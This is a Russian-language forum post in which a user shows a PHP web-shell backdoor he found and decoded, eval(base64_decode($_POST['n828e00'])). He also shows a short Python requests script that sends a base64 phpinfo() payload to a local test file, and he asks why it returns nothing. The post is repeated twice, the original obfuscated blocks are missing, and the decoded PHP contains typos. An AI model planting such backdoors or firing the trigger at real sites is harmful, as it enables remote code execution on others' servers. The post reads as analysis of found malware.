rct
25.09.2015, 13:37
Нашел такой код
PHP:
Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =)
Получается вот такой код
PHP:
if
(isset($POST['n828e00'])) {
eval($base64_decode($_POST['n828e00']));
}
То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит
import requests
payload = {"n828e00" : "cGhwaW5mbygpOw=="}
r = requests.post("http://localhost/viros.php", params=payload)
Помогите разобраться как этот пхп работает
PHP:
Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =)
Получается вот такой код
PHP:
if
(isset($POST['n828e00'])) {
eval($base64_decode($_POST['n828e00']));
}
То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит
import requests
payload = {"n828e00" : "cGhwaW5mbygpOw=="}
r = requests.post("http://localhost/viros.php", params=payload)
Помогите разобраться как этот пхп работает